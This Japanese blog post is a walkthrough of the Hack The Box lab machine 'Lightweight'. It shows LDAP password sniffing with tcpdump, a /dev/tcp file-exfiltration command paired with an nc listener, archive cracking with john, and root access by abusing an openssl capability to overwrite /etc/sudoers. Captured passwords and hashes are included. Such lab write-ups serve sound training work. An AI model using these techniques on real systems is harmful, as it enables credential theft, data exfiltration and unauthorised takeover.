セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Lightweight Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.119
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 00:39 JST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.26s latency).
Not shown: 9997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
|   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open   ldap    OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after:  2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 707.93 seconds

22(ssh)、80(http)、389(ldap)が開いている。
389ポートのLDAP通信は平文。636だと暗号化通信LDAPS。
問題タイトルもlightweightなので、LDAPに関する問題だと思われる。

80番ポート(http)の調査

トップページ

ブルートフォース対策がされているらしい。 f:id:Paichan:20201121234650p:plain

info

ブルートフォースを検知すると、5分間アクセスできなくなるとのことなので、ディレクトリスキャンはやめておく。 f:id:Paichan:20201121234739p:plain

status

banされているかどうか、ステータスが見れるページ。(ロードがかなり遅い(★これがそれなりに重要)) f:id:Paichan:20201121234817p:plain

user

ユーザ名、パスワードともに自分のIPアドレスssh接続できると記載がある。 f:id:Paichan:20201121234842p:plain

ssh接続

webページに記載のある通り、自分のIPアドレスでログイン。 ldapuser1ldapuser2がいる。ディレクトリの中は見れないが、どちらかにuser.txtがあると思われる。

root@kali:~# ssh 10.10.14.33@10.10.10.119
10.10.14.33@10.10.10.119's password: 
[10.10.14.33@lightweight ~]$ id
uid=1003(10.10.14.33) gid=1003(10.10.14.33) groups=1003(10.10.14.33) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[10.10.14.33@lightweight ~]$ ls -l /home
total 0
drwx------. 4 10.10.14.2  10.10.14.2   91 Nov 16  2018 10.10.14.2
drwx------. 4 10.10.14.33 10.10.14.33  91 Oct 31 16:17 10.10.14.33
drwx------. 4 ldapuser1   ldapuser1   181 Jun 15  2018 ldapuser1
drwx------. 4 ldapuser2   ldapuser2   197 Jun 21  2018 ldapuser2

capabilityを調べる

getcapコマンドで、/usr/bin/usr/sbinのcapabilityを調査。

[10.10.14.33@lightweight ~]$ getcap -r /usr/bin, /usr/sbin
/usr/bin, (No such file or directory)
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

tcpdumpでの通信キャプチャ

capabilityの調査で見つけたtcpdumpを使用する。
status.phpのロードが遅いことから、裏でldapの通信が走っている可能性がある。
status.phpが読み込めたくらいのタイミングで389ポートに関する通信が出力され、その中の一部にldapuser2のパスワードが見つかる。暗号化通信ではない389ポートだから平文で見つかる。

[10.10.14.33@lightweight ~]$ tcpdump -i any port 389 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
(snip)
w....XI...Pt.....)......
.O.<.O.<0Y...`T....-uid=ldapuser2,ou=People,dc=lightweight,dc=htb. 8bc8251332abe1d7f105d3e53ad39ac2................
16:50:58.420116 IP lightweight.htb.ldap > lightweight.htb.39852: Flags [.], ack 92, win 683, options [nop,nop,TS val 5210940 ecr 5210940], length 0
E..4..@.@...
(snip)

(おまけ)wiresharkでも見てみる

ターゲットマシンからローカルに持ってきて、wiresharkで起動。

root@kali:~/lightweight# scp 10.10.14.33@10.10.10.119:/home/10.10.14.33/ldap.pcap .
root@kali:~/lightweight# wireshark ldap.pcap &

bindRequest(LDAPサーバでのユーザ認証リクエスト)でパスワードが平文で見えている。 f:id:Paichan:20201121235906p:plain

user.txtゲット

tcpdumpを使って見つけたパスワードでldapuser2になり、user.txtをゲット。

[10.10.14.33@lightweight ~]$ su ldapuser2
Password: 
[ldapuser2@lightweight 10.10.14.33]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser2@lightweight 10.10.14.33]$ cd /home/ldapuser2
[ldapuser2@lightweight ~]$ ls
backup.7z  OpenLDAP-Admin-Guide.pdf  OpenLdap.pdf  user.txt
[ldapuser2@lightweight ~]$ cat user.txt 

backup.7z発見

user.txtと同じディレクトリにbackup.7zがある。

[ldapuser2@lightweight ~]$ ls -l
total 1868
-rw-r--r--. 1 root      root         3411 Jun 14  2018 backup.7z
-rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13  2018 OpenLDAP-Admin-Guide.pdf
-rw-rw-r--. 1 ldapuser2 ldapuser2  379983 Jun 13  2018 OpenLdap.pdf
-rw-r--r--. 1 root      root           33 Jun 15  2018 user.txt

ローカルにデータ移動

scpで移動させようとしたが、ldapuser2ではssh接続できない&ローカル(kali)はsshポートを開けていないので、別の方法と使う。

方法1:base64エンコードして移動する。

[ldapuser2@lightweight ~]$ base64 backup.7z
N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI
(snip)
[ldapuser2@lightweight ~]$ 

方法2:ncを使う

・送信側

[ldapuser2@lightweight ~]$ cat backup.7z > /dev/tcp/10.10.14.33/1234

・受信側

root@kali:~/lightweight# nc -lvp 1234 > backup.7z
listening on [any] 1234 ...
connect to [10.10.14.33] from lightweight.htb [10.10.10.119] 37654

backup.7z解凍

方法1の方法で移動してきたデータをbase64デコードし、7zで解凍を試みるが、パスワードが必要。

root@kali:~/lightweight# base64 -d data > backup.7z
root@kali:~/lightweight# 7z x backup.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Extracting archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):

パスワードクラック

johnで解析するため、7z2john使おうとしたが、エラーでた。

root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash
Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.3 /usr/local/share/perl/5.30.3 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl) at /usr/share/john/7z2john.pl line 6.
BEGIN failed--compilation aborted at /usr/share/john/7z2john.pl line 6.

以下を実行することで解決した。

root@kali:~/lightweight# apt install libcompress-raw-lzma-perl

パスワードゲット。

root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash
root@kali:~/lightweight# cat hash 
backup.7z:$7z$2$19$0$$8$11e96ba400e3926d0000000000000000$1800843918$3152$3140$1ed4a64a2e9a8bc76c59d8160d3bc3bbfd995ce02cf430ea41949ff4d745f6bf3ed238e9f06e98da3446dda53df0abf11902852e4b2a4e32e0b0f12b33af40d351b2140d6266db1a3d66e1c82fa9d516556ec893ba6841f052618ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc003c39eba04484bef
(snip)
root@kali:~/lightweight# john -w:/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 12 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
delete           (backup.7z)
1g 0:00:00:35 DONE (2020-11-01 03:03) 0.02783g/s 57.44p/s 57.44c/s 57.44C/s slimshady..aries
Use the "--show" option to display all of the cracked passwords reliably
Session completed

このパスワードを使うと、backup.7zからindex.phpinfo.phpstatus.phpuser.phpが解凍される。
status.phpにldapuser1のパスワードがハードコードされていた。

root@kali:~/lightweight# cat status.php 
(snip)
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';

このパスワードを使って、ldapuser1になる。

[ldapuser2@lightweight ~]$ su ldapuser1
Password: 
[ldapuser1@lightweight ldapuser2]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

capabilityを調べる

先ほどと同様にcapabilityを調べたところ、/home/ldapuser1/opensslがepで設定されていることが分かった。

[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

root.txtゲット

opensslでファイルを読むコマンドを実行し、root.txtゲット。 参考:https://gtfobins.github.io/gtfobins/openssl/

[ldapuser1@lightweight ~]$ ./openssl base64 -in "/root/root.txt" | base64 -d

(おまけ)rootシェルをゲットしたい場合

/etc/sudoersを上書きし、10.10.14.33ユーザ(自分)にsudoでの任意コマンドの実行権限を付与する。 参考:https://gtfobins.github.io/gtfobins/openssl/

[ldapuser1@lightweight ~]$ echo -ne "root\tALL=(ALL:ALL) ALL\n\"10.10.14.33\"\tALL=(ALL:ALL) ALL\n" > /tmp/getsudo
[ldapuser1@lightweight ~]$ ./openssl enc -in /tmp/getsudo -out /etc/sudoers
[ldapuser1@lightweight ~]$ exit
exit
[10.10.14.33@lightweight ~]$ sudo su 
[sudo] password for 10.10.14.33: 
[root@lightweight 10.10.14.33]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

(おまけ)ldapsearch

namingcontextsを取得。

root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -s base namingcontexts -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#
#
dn:
namingContexts: dc=lightweight,dc=htb ★
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1

ユーザ名、パスワードハッシュがゲットできる。SHA512であり、今回はここから平文は取得できない。

root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -b "dc=lightweight, dc=htb" -x
# extended LDIF
#
# LDAPv3
# base <dc=lightweight, dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# lightweight.htb
dn: dc=lightweight,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: lightweight htb
dc: lightweight
# Manager, lightweight.htb
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager
description: Directory Manager
# People, lightweight.htb
dn: ou=People,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: People
# Group, lightweight.htb
dn: ou=Group,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: Group
# ldapuser1, People, lightweight.htb
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
 oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/ldapuser1
# ldapuser2, People, lightweight.htb
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: ldapuser2@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
 zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2
# ldapuser1, Group, lightweight.htb
dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser1
userPassword:: e2NyeXB0fXg=
gidNumber: 1000
# ldapuser2, Group, lightweight.htb
dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser2
userPassword:: e2NyeXB0fXg=
gidNumber: 1001
# search result
search: 2
result: 0 Success
# numResponses: 9
# numEntries: 8

(おまけ)NSE(ldap-search)

root@kali:~/lightweight# nmap --script ldap-search -p 389 10.10.10.119
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 22:09 JST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.27s latency).
PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=lightweight,dc=htb
|     dn: dc=lightweight,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: lightweight htb
|         dc: lightweight
|     dn: cn=Manager,dc=lightweight,dc=htb
|         objectClass: organizationalRole
|         cn: Manager
|         description: Directory Manager
|     dn: ou=People,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: People
|     dn: ou=Group,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: Group
|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser1
|         cn: ldapuser1
|         sn: ldapuser1
|         mail: ldapuser1@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1000
|         gidNumber: 1000
|         homeDirectory: /home/ldapuser1
|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser2
|         cn: ldapuser2
|         sn: ldapuser2
|         mail: ldapuser2@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1001
|         gidNumber: 1001
|         homeDirectory: /home/ldapuser2
|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser1
|         userPassword: {crypt}x
|         gidNumber: 1000
|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser2
|         userPassword: {crypt}x
|_        gidNumber: 1001
Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds

(おまけ)capabilityとは(メモ)

  • rootが持っている権限を小分けにし、細かくした権限をプロセスに与えられるようにする機能。その細かい権限のことをcapabilityという。
  • rootか一般ユーザかだけでなく、もっと細かい単位で権限を付与することが可能。
  • 例:ping

    • pingはパケット送信にRawソケットを使う、これを使うにはroot権限が必要。そのため、LinuxディストリビューションによってはpingにSUIDが設定されている。
    • 逆に言うと、Rawソケットを使うためだけにroot権限がほしいのに、rootが持つ権限全てをpingに渡している状況。
    • Rawソケットを使う権限(capabiliry)のみを与えるという考え。→CAP_NET_RAW
  • capabilityのリスト

  • capabilityセット
    • プロセスのcapabilityセット
    • ファイルのcapabilityセット
  • それぞれで以下のcapabilityセットが定義されている
    • Permitted(許可)
    • Inheritable(継承可能)
    • effective(実行)